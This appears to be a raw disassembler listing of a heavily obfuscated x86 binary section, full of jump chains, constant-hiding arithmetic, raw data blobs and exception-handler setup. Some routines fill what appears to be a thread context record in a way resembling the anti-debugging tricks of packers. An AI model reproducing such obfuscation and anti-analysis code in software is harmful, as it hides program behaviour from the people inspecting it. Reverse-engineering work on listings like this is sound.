--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_4386FE: ; CODE XREF: sub_43C65A-49EEj jmp loc_4385E9 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- byte_438703 db 68h ; DATA XREF: _802izwe5:0043D238o dd 0C9C8A81Eh, 3BC98159h, 562D35CBh, 3487F38Bh, 0E336BB24h dd 0A4E90043h, 0FFFFEDh, 40D168C3h, 81585292h, 5A20E8F0h dd 9C0C108h, 0FDA8E081h, 78E9692Fh, 0FFFFF1h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D600 loc_43873D: ; CODE XREF: sub_43D600+Aj pop esi add esi, 673B0FD7h rol esi, 9 or esi, 2ABA83E6h sub esi, 732FF34Bh xor esi, 0B80E57F7h add edx, esi pop esi jmp loc_43DDBF ; END OF FUNCTION CHUNK FOR sub_43D600 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_438762: ; CODE XREF: sub_439ED1:loc_438093j xchg ebx, edx jz sub_43FABF jmp loc_43B188 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS KEYPAD "+" TO EXPAND] align 2 ; START OF FUNCTION CHUNK FOR sub_43BE3C loc_438772: ; CODE XREF: sub_43BE3C+3002j jmp loc_43D8C2 ; END OF FUNCTION CHUNK FOR sub_43BE3C ; --------------------------------------------------------------------------- db 0BFh dd 94DD0EDCh, 0EAD8880Fh, 0B9E9FFFFh, 5Dh, 9C6800C3h, 0F324608h dd 3EE8Bh, 0FB8B5700h, 0E9243C87h, 0FFFFFC1Ah, 0E2810000h dd 8035700Ch, 800C2F7h, 4E90000h, 0FFFFF0h, 82E38100h dd 0E97A4A4Ah, 1234h, 1890000h, 4C181h, 1890000h, 4C181h dd 1890000h, 223EE9h, 1301C700h, 81000100h, 18C1h, 81018A00h dd 9CC1h, 0E9010000h, 59D7h, 0C5230000h, 3837E9h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_4387FE: ; CODE XREF: sub_439ED1:loc_43AAB5j push ecx push 0D1AFC4D4h pop ecx call sub_43E25B add cl, ch ; CODE XREF: sub_43B954+232j jecxz short loc_43887F ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dw 0 dd 0F0A2E900h, 0FFFFh, 1E326852h, 815AA1E2h, 0BD22C2h dd 0E7EA81A8h, 81C0EE66h, 0C6FE94C2h, 0E3CA8114h, 0E93F3E42h dd 460Dh, 8B525800h, 241487D0h, 98F2368h, 0C0C15852h, 58E8810Bh dd 0E991C289h, 22CAh, 0ECE9C300h, 2Fh, 0FADDE900h, 0FFFFh dd 87241487h, 0D78B243Ch, 2651E95Fh db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_438877: ; CODE XREF: sub_439ED1+42B5j call loc_43A38B ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0), 8Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43887F: ; CODE XREF: sub_439ED1-16C5j adc cl, [eax-0FB257FEh] call sub_43E4C6 loc_43888A: ; CODE XREF: _802izwe5:0043E8C2j jmp nullsub_16 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 10h jz loc_43985B jmp loc_43D540 ; --------------------------------------------------------------------------- db 0C6h dd 8159C301h, 87FEDCE2h, 9AC28169h, 3A1E891h, 0CAC281D5h dd 3F1D134Dh, 1EF9E902h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F3B2 loc_4388BB: ; CODE XREF: sub_43F3B2:loc_43946Ej ; _802izwe5:loc_43D1BDj push 2899D04h push ecx mov ecx, eax xchg ecx, [esp+8+var_8] mov eax, 437B8Bh jmp loc_43E9F1 ; END OF FUNCTION CHUNK FOR sub_43F3B2 ; --------------------------------------------------------------------------- dd 4C18100h, 89000000h, 4C18101h, 89000000h, 4C18101h ; CODE XREF: _802izwe5:loc_43F051j dd 89000000h, 4C18101h, 89000000h, 340AE901h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_4388F8: ; CODE XREF: sub_439ED1:loc_43D054j sub ebp, 0C541B7BCh jmp loc_439F20 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 xor ecx, ebx jmp loc_43D417 ; --------------------------------------------------------------------------- align 4 dd 0CA8B5100h, 0BA240C87h, 43CB01h, 56EFE9h, 81CC8B00h dd 10C1h, 0C7098B00h, 1001301h, 18C18100h, 0E9000000h dd 0FFFFFB57h, 1890000h, 4C181h, 1890000h, 4AA1E957h, 0F000000h dd 16368Dh, 8B000000h, 37C981F8h, 5A396F48h, 80EE8B68h dd 1621E910h, 81000000h, 0AF4D72F0h, 18C08194h, 9D9D12E2h dd 0E9240487h, 45F7h, 0D0810000h, 12886761h, 5B92E9h db 0 ; =============== S U B R O U T I N E ======================================= sub_438989 proc near ; DATA XREF: _802izwe5:0043C09Do var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00438C5B SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00438C80 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043DB65 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043E0C7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EA47 SIZE 00000005 BYTES push ebx mov ebx, ecx xchg ebx, [esp+4+var_4] push 6870FD32h pop ecx or ecx, 2D0F149Bh jmp loc_438C5B sub_438989 endp ; --------------------------------------------------------------------------- dd 1890000h, 4C181h, 1890000h, 4C181h, 1890000h, 378E9h ; CODE XREF: sub_4393E2+31FDj db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BFFF loc_4389B9: ; CODE XREF: sub_43BFFF-3D92j push ecx jmp loc_439A17 ; END OF FUNCTION CHUNK FOR sub_43BFFF ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_4389C0: ; CODE XREF: sub_439ED1:loc_439FECj push ecx jmp loc_43DB45 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 jg loc_439762 cdq test ecx, ebx jmp loc_43ECFA ; --------------------------------------------------------------------------- loc_4389D6: ; CODE XREF: _802izwe5:loc_43DF04j push edi pushf push 57A5C09Eh pop edi add edi, 7CDAE7B1h jmp loc_43B3AB ; --------------------------------------------------------------------------- align 2 dw 840Fh dd 5032h, 2FE4E900h, 0 ; --------------------------------------------------------------------------- rol ebp, 1Bh mov ecx, 0D5682Ah sub eax, esi jmp loc_43DA22 ; --------------------------------------------------------------------------- align 4 dd 81018900h, 4C1h, 81018900h, 0A0C1h, 4D99E900h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_438A20: ; CODE XREF: sub_439ED1+579Dj mov byte ptr [esi], 0C3h pop esi push offset byte_43ACC3 jmp loc_43D6DA ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 10h jo loc_43CB58 xchg edx, [esp] loc_438A39: ; CODE XREF: _802izwe5:0043D4CBj pop edx push 8C66B0C1h pop edx rol edx, 13h jmp loc_438E58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_438A48: ; CODE XREF: sub_439ED1+4FEFj add ebx, 1F08C5DFh or ebx, 2B0F7CF4h xor ebx, 1086B129h add ebx, 0D50A2129h loc_438A60: ; DATA XREF: sub_43ECCE+1o rol dword ptr [edi+0C3241Ch], 0 mov edx, [eax] jmp loc_43AD56 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; =============== S U B R O U T I N E ======================================= sub_438A6E proc near ; DATA XREF: _802izwe5:004395C4o ; FUNCTION CHUNK AT 0043AE0F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043B46C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DFBE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E422 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043F926 SIZE 0000001C BYTES call loc_43C85A jmp loc_43B46C sub_438A6E endp ; --------------------------------------------------------------------------- dd 0E9510000h, 2E6Bh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_438A82: ; CODE XREF: sub_439ED1+597j ; DATA XREF: sub_43B338-27DBo pop dword ptr fs:0 xchg eax, [esp+0] pop eax sub eax, edx jmp loc_43A42A ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 push ecx jmp loc_43AA10 ; --------------------------------------------------------------------------- dw 8700h dd 1C872404h, 5BC38B24h, 1CE8D503h, 25h dd 0B6B0C681h ; DATA XREF: _802izwe5:loc_43B7EEo db 0B7h, 0F1h word_438AB2 dw 872Dh ; DATA XREF: sub_439ED1+8D6o ; --------------------------------------------------------------------------- xor al, 24h push offset loc_43BFAD jmp locret_43E592 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] dw 0E900h dd 5CACh, 5F243C87h, 0C1EBC181h, 0C870455h, 45BEE924h dd 0C2810000h, 0B202E213h, 7CF9E281h, 0EA8142EEh, 890EAD23h dd 0C6F1F281h, 0CA03B7B5h, 0FFFB28E9h, 87D587FFh, 6759240Ch dd 36FF64h, 89646700h, 0E9000026h, 2426h, 2D77E951h, 0C30000h dd 58D8E9h, 4D685100h, 597C5F3Dh, 810CC1C1h, 0CECA03E9h dd 0EFC181EFh, 0E9FC3DEBh, 6E65h, 68F6467h, 4870000h, 0FF685824h dd 0E9004373h, 3B22h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B338 loc_438B4D: ; CODE XREF: sub_43B338+15j mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 0A0h mov dword ptr [ecx], offset loc_438A82 jmp loc_438E8B ; END OF FUNCTION CHUNK FOR sub_43B338 ; --------------------------------------------------------------------------- dd 0DD880F00h, 0F000024h, 0FFE71E8Fh, 811F89FFh, 5B58EAF0h dd 3DC3E9C9h, 0F7000000h, 0ECCFE9D1h, 0F00FFFFh, 60486h dd 0E8EA8B00h, 6AB5h, 5CE90000h db 8, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438378 loc_438B9F: ; CODE XREF: sub_438378+Cj jmp loc_43F445 ; END OF FUNCTION CHUNK FOR sub_438378 ; --------------------------------------------------------------------------- dd 1FC88158h, 0F9E2878h, 0FFEEF088h, 5CE3E9FFh, 6AE90000h ; CODE XREF: sub_439ED1+2B43j dd 2300002Ah, 0E9D1F7DFh, 22B4h, 0C181018Ah, 9Ch, 0C1810100h dd 4, 0EA8601C7h, 0C0330043h, 13D5E959h, 34E80000h, 0E900005Fh dd 3C1Bh, 240C8700h, 81C50359h, 3202DEC0h, 8700541Dh, 33E92404h dd 0FFFFF0h ; =============== S U B R O U T I N E ======================================= sub_438C04 proc near ; CODE XREF: sub_439ED1+44Cp var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00437B4C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BEB7 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0043D6CA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043E6C4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043F5F0 SIZE 00000016 BYTES push dword ptr fs:0 mov fs:0, esp pushf jmp loc_437B4C sub_438C04 endp ; --------------------------------------------------------------------------- align 4 loc_438C18: ; CODE XREF: _802izwe5:loc_43BA2Fj push 3B4FD961h pop eax sub eax, 7CEB088Eh xor eax, 0BE64D0D7h add ecx, eax pop eax mov [ecx], eax push ebx jmp loc_43B43A ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 126C85h, 6CF78100h, 67181EF2h, 68F64h, 24048700h, 9C098B58h dd 7101EA68h, 2952E9E4h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438989 loc_438C5B: ; CODE XREF: sub_438989+12j rol ecx, 0Bh add ecx, 31C23F7Fh and ecx, 8D4CCC6Bh xor ecx, 0FEFFF795h out 0Ch, al ; DMA controller, 8237A-5. ; clear byte pointer flip-flop. and al, 0E9h jmp loc_438C80 ; END OF FUNCTION CHUNK FOR sub_438989 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_438C7A: ; CODE XREF: sub_439ED1-255Bj mov dword ptr [ecx], 10013h ; END OF FUNCTION CHUNK FOR sub_439ED1 ; START OF FUNCTION CHUNK FOR sub_438989 loc_438C80: ; CODE XREF: sub_438989+2EBj add ecx, 18h mov al, [ecx] push eax push 0E5491936h pop eax rol eax, 15h sub eax, 0B147109Ch jmp loc_43E0C7 ; END OF FUNCTION CHUNK FOR sub_438989 ; --------------------------------------------------------------------------- align 2 xchg eax, [edi] add ecx, ebp jmp loc_4384B4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_39. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F088 loc_438CA8: ; CODE XREF: sub_43F088-1B4Fj jmp near ptr byte_438291+2 ; END OF FUNCTION CHUNK FOR sub_43F088 ; --------------------------------------------------------------------------- db 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_438CAF: ; CODE XREF: sub_43C65A-355Bj jmp loc_43F717 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4378C2 loc_438CB5: ; CODE XREF: sub_4378C2+10j jmp loc_43B3C8 ; END OF FUNCTION CHUNK FOR sub_4378C2 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_438CBC proc near ; CODE XREF: sub_43EDF7+3p ; FUNCTION CHUNK AT 0043C494 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F4C6 SIZE 00000006 BYTES push dword ptr fs:0 mov fs:0, esp jmp loc_43C494 sub_438CBC endp ; --------------------------------------------------------------------------- db 2 dup(0), 87h ; --------------------------------------------------------------------------- adc al, 24h jmp loc_43F15E ; --------------------------------------------------------------------------- align 4 dd 0E900C300h, 2FC1h ; CODE XREF: _802izwe5:0043CF93j db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_438CE2: ; CODE XREF: sub_439ED1+6E7j jmp loc_43A33B ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 jmp locret_439935 ; --------------------------------------------------------------------------- align 2 cmp eax, edi jmp loc_43C8D8 ; --------------------------------------------------------------------------- db 2 dup(0), 33h ; --------------------------------------------------------------------------- rol byte ptr [ecx+4C1h], 0 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_43E565 ; --------------------------------------------------------------------------- dd 0C30000h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DA03 loc_438D18: ; CODE XREF: sub_43DA03-1A63j jmp loc_43BA15 ; END OF FUNCTION CHUNK FOR sub_43DA03 ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_438D1E proc near var_4 = dword ptr -4 push eax mov eax, ebx xchg eax, [esp+4+var_4] push offset byte_43F12B jmp nullsub_46 sub_438D1E endp ; --------------------------------------------------------------------------- dw 0C300h dd 0F28FE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_438D36: ; CODE XREF: sub_439ED1-FD7j mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_43CDF8 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- loc_438D53: ; DATA XREF: _802izwe5:0043D42Do mov dword ptr [ecx], 10013h xor eax, eax push ebx push 1431977h pop ebx add ebx, 89094DFCh xor ebx, 8A4C6777h add ecx, ebx jmp loc_43CEEB ; --------------------------------------------------------------------------- align 2 jno loc_43BA7E add eax, 21F86EBCh cmp ecx, edx jmp loc_43CF86 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_438D8A: ; CODE XREF: sub_439ED1+B4Dj xchg eax, [esp+0] push edx push 0A2E0D93Bh pop edx xor edx, 0D7DB54ABh and edx, 77E36C36h xor edx, 75230D10h or eax, edx jmp loc_43ACB8 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_438DAF: ; CODE XREF: sub_43C65A+2652j jmp loc_43A252 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- dd 0F6E90000h, 58h, 4CAE9h, 8B000000h ; CODE XREF: sub_43BC68+Cj db 12h, 0B9h, 2Ah byte_438DC7 db 0E9h ; DATA XREF: sub_439ED1-1ACEo ; --------------------------------------------------------------------------- movsb jnz loc_43E49C jmp loc_43E495 ; --------------------------------------------------------------------------- cmp ecx, 0ECF12CDh jmp loc_43F28C ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_438DE0: ; CODE XREF: sub_439ED1+476Cj pop ecx retn ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_438DE4 proc near ; CODE XREF: sub_439ED1+DBp push dword ptr fs:0 mov fs:0, esp jmp loc_43A231 sub_438DE4 endp ; --------------------------------------------------------------------------- db 2 dup(0), 0Bh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_438DF9: ; CODE XREF: _802izwe5:loc_43C07Fj pop ebx xchg eax, [esp] popf nop jmp loc_43A499 ; --------------------------------------------------------------------------- dd 0CCC28100h, 8B52F2E8h ; --------------------------------------------------------------------------- adc dh, [eax] ; DATA XREF: sub_439ED1:loc_43B74Do call sub_43DF68 xchg edi, [esp] push edi jmp loc_43E0C0 ; =============== S U B R O U T I N E ======================================= sub_438E1C proc near ; CODE XREF: _802izwe5:0043BF93j ; sub_439ED1:loc_43EE54p ; FUNCTION CHUNK AT 00438371 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 push offset loc_43B452 jmp loc_438371 sub_438E1C endp ; --------------------------------------------------------------------------- dd 87F51300h, 8B5B241Ch ; --------------------------------------------------------------------------- loc_438E48: ; DATA XREF: _802izwe5:loc_4383BAo adc cl, [eax-0FB2E4FEh] push offset sub_43EDF7 jmp locret_43EDEB ; --------------------------------------------------------------------------- loc_438E58: ; CODE XREF: _802izwe5:00438A43j test edx, 80000000h jmp loc_43D4BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_438E63: ; CODE XREF: sub_43C65A:loc_43DEC2j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h jmp loc_43E642 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_438E78: ; CODE XREF: sub_439ED1+5D3j ; DATA XREF: sub_43C65A-4FA4o pop dword ptr fs:0 loc_438E7E: ; CODE XREF: _802izwe5:loc_4391FFj xchg eax, [esp+0] xchg ebp, [esp+0] mov eax, ebp jmp loc_43AA8F ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B338 loc_438E8B: ; CODE XREF: sub_43B338-27D5j xor eax, eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_43B338 ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437DA2 loc_438E91: ; CODE XREF: sub_437DA2+3j jmp loc_43ED7B ; END OF FUNCTION CHUNK FOR sub_437DA2 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_43C65A loc_438E98: ; CODE XREF: sub_43C65A:loc_43B0F2j push dword ptr fs:0 mov fs:0, esp jmp loc_43E1F1 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_438EAB: ; CODE XREF: sub_439ED1:loc_439FD7j add esi, 0DFA5178Dh push ebx mov ebx, offset dword_43B7C4 jmp loc_43E71C ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- push 0C6092053h not ebx or ebp, edi loc_438EC5: ; DATA XREF: sub_439ED1+3711o pop dword ptr fs:0 xchg eax, [esp] pop eax mov byte ptr [edx], 87h jmp loc_43D05B ; --------------------------------------------------------------------------- align 4 dd 0B1DF8100h, 0E9EE2352h, 4A44h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_438EE5: ; CODE XREF: sub_439ED1:loc_43BE28j sub eax, 97E55583h xor eax, 0D233C671h add eax, 64342A35h add ecx, eax pop eax jmp loc_438D36 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 10h dd 0E7E9CCF0h, 56000022h, 50A368F9h, 815E49BBh, 34E2C4CEh ; CODE XREF: sub_43AE83+Ej dd 733068EFh, 42E90043h, 30h, 528D0F00h, 68000021h, 0BAB1F42Dh dd 31BE9h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_438F33: ; CODE XREF: sub_439ED1:loc_43AB29j add ecx, 9Ch add [ecx], al add ecx, 4 mov dword ptr [ecx], offset sub_438026 xor eax, eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 loc_438F4C: ; CODE XREF: _802izwe5:0043E2A0j jmp loc_43A591 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_438F53: ; CODE XREF: _802izwe5:0043DD96j jmp near ptr dword_437548+0E0h ; --------------------------------------------------------------------------- dd 10E90000h, 48h, 248CE9h ; CODE XREF: sub_439ED1+2D55j db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F734 loc_438F65: ; CODE XREF: sub_43F734-64C7j jmp loc_43DAB2 ; END OF FUNCTION CHUNK FOR sub_43F734 ; --------------------------------------------------------------------------- dw 5100h ; --------------------------------------------------------------------------- jmp loc_43B13C ; --------------------------------------------------------------------------- align 2 loc_438F72: ; CODE XREF: _802izwe5:0043C21Cj add eax, ebp add eax, 23086D3Ah mov eax, [eax] call loc_43A0E9 jmp loc_43D898 ; --------------------------------------------------------------------------- dw 850Fh dd 0FFFFE223h, 5A9DE900h, 0ECB90000h, 814501D7h, 0E4DC5AE1h dd 8BD1F774h, 0F440E9F3h, 0FFFFh, 5C43E95Bh, 68000000h dd 0C761F695h, 0F0C98159h, 81174ECAh, 0B22307C1h, 1EC1C143h dd 1AD3E9h db 0 ; =============== S U B R O U T I N E ======================================= sub_438FC9 proc near ; CODE XREF: sub_43F734:loc_43CD74p ; FUNCTION CHUNK AT 0043C507 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax mov byte ptr [ebx], 9Dh pop ebx call loc_43EAE9 jmp loc_43C507 sub_438FC9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_438FDC: ; CODE XREF: sub_439ED1+17Aj add edx, 0F37EBA56h loc_438FE2: ; DATA XREF: _802izwe5:0043BC4Bo pop dword ptr fs:0 xchg eax, [esp-0Ch+arg_8] pop eax popf add ecx, eax pop eax jmp loc_43C43D ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- add esi, ebp cmp eax, esi jmp loc_4391FF ; --------------------------------------------------------------------------- dw 8100h dd 1F5A4EC7h, 5FCF0337h, 0C1810100h, 4, 0F32A01C7h, 8DE90043h dd 0FFFFE4h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F18B loc_43901D: ; CODE XREF: sub_43F18B-39D8j xchg esi, [esp+0] mov eax, esi pop esi xor esi, 55D5B7F7h ; END OF FUNCTION CHUNK FOR sub_43F18B ; --------------------------------------------------------------------------- byte_439029 db 81h, 87h, 34h ; DATA XREF: sub_439ED1-4D1o dd 5213E824h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_439032: ; CODE XREF: sub_439ED1+3157j jmp loc_43E316 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 dd 17C9C100h, 9DDE9h db 3 dup(0) ; --------------------------------------------------------------------------- loc_439043: ; CODE XREF: _802izwe5:loc_43CEEBj pop ebx mov [ecx], eax add ecx, 4 mov [ecx], eax push eax push 0F39A0437h jmp near ptr dword_437428+0F6h ; --------------------------------------------------------------------------- align 2 dw 0C287h dd 49DBE9h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BE3C loc_439063: ; CODE XREF: sub_43BE3C+1A96j push 91AA73A1h pop eax or eax, 0DAFE7AF3h add eax, 82E965B2h and eax, 0D9E7313Ch call loc_43A3F7 jmp loc_43CA8A ; END OF FUNCTION CHUNK FOR sub_43BE3C ; --------------------------------------------------------------------------- align 2 xor ebx, 39B62599h add ecx, ebx pop ebx mov dword ptr [ecx], 438237h xor eax, eax jmp loc_43E3CB ; --------------------------------------------------------------------------- dd 850F0000h, 2B3Eh, 0FFE954E9h, 0E1E900FFh, 15h, 355FE900h ; CODE XREF: sub_43F4F1+Cj dd 46680000h, 99C8119Eh, 2B1CE9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F18B loc_4390C1: ; CODE XREF: sub_43F18B:loc_43AEC7j call sub_437DA2 call sub_4390D8 ; END OF FUNCTION CHUNK FOR sub_43F18B ; --------------------------------------------------------------------------- db 0 dd 1062E900h, 0DE810000h, 9B8BC6E4h ; =============== S U B R O U T I N E ======================================= sub_4390D8 proc near ; CODE XREF: sub_43F18B-60C5p ; FUNCTION CHUNK AT 0043BFE3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043CDBC SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx call nullsub_26 jmp loc_43BFE3 sub_4390D8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_4390E7: ; CODE XREF: sub_43C65A:loc_437F98j mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_438CAF ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- dd 5EE9F785h, 0FFFFF3h, 0C1810189h, 4, 0C1810189h, 4, 0BCE90189h dd 56h, 0C302C600h, 0B1E8505Ah, 63h, 0C181CC8Bh, 10h, 1C7098Bh dd 10013h, 18C181h, 18A0000h, 0FFF2E1E9h, 810000FFh, 518C5EDBh dd 73EA81E4h db 0E0h, 0D5h, 0F3h ; --------------------------------------------------------------------------- loc_43915B: ; DATA XREF: sub_439ED1+9C0o pop dword ptr fs:0 xchg eax, [esp] xchg ebx, [esp] mov eax, ebx pop ebx jmp loc_43EAC7 ; --------------------------------------------------------------------------- align 10h locret_439170: ; CODE XREF: _802izwe5:0043DE65j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BE3C loc_439171: ; CODE XREF: sub_43BE3C+182Dj jmp loc_43958E ; END OF FUNCTION CHUNK FOR sub_43BE3C ; --------------------------------------------------------------------------- align 4 dd 0FFF625E9h, 810000FFh, 0F663D6F2h, 68D50312h, 438E05h dd 0FFFB57E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_439193: ; CODE XREF: _802izwe5:loc_43E8DEj mov al, [ecx] add ecx, 9Ch add [ecx], al add ecx, 4 mov dword ptr [ecx], offset byte_43A901 jmp loc_43DC8D ; --------------------------------------------------------------------------- align 10h cmp ebp, 0BE6B3689h jmp loc_439BD6 ; --------------------------------------------------------------------------- align 4 xor esi, 2CCE0FF0h loc_4391C2: ; CODE XREF: _802izwe5:loc_437EC8j jl loc_43F87B jmp loc_43D162 ; --------------------------------------------------------------------------- db 2 dup(0), 81h dd 0FAB3B3F2h, 0EC36E979h, 0FFFFh ; =============== S U B R O U T I N E ======================================= sub_4391DC proc near ; DATA XREF: sub_439ED1+54FFo arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00438261 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BBF3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F252 SIZE 00000014 BYTES push ebx mov ebx, offset loc_43D167 jmp loc_438261 sub_4391DC endp ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_43F7BD 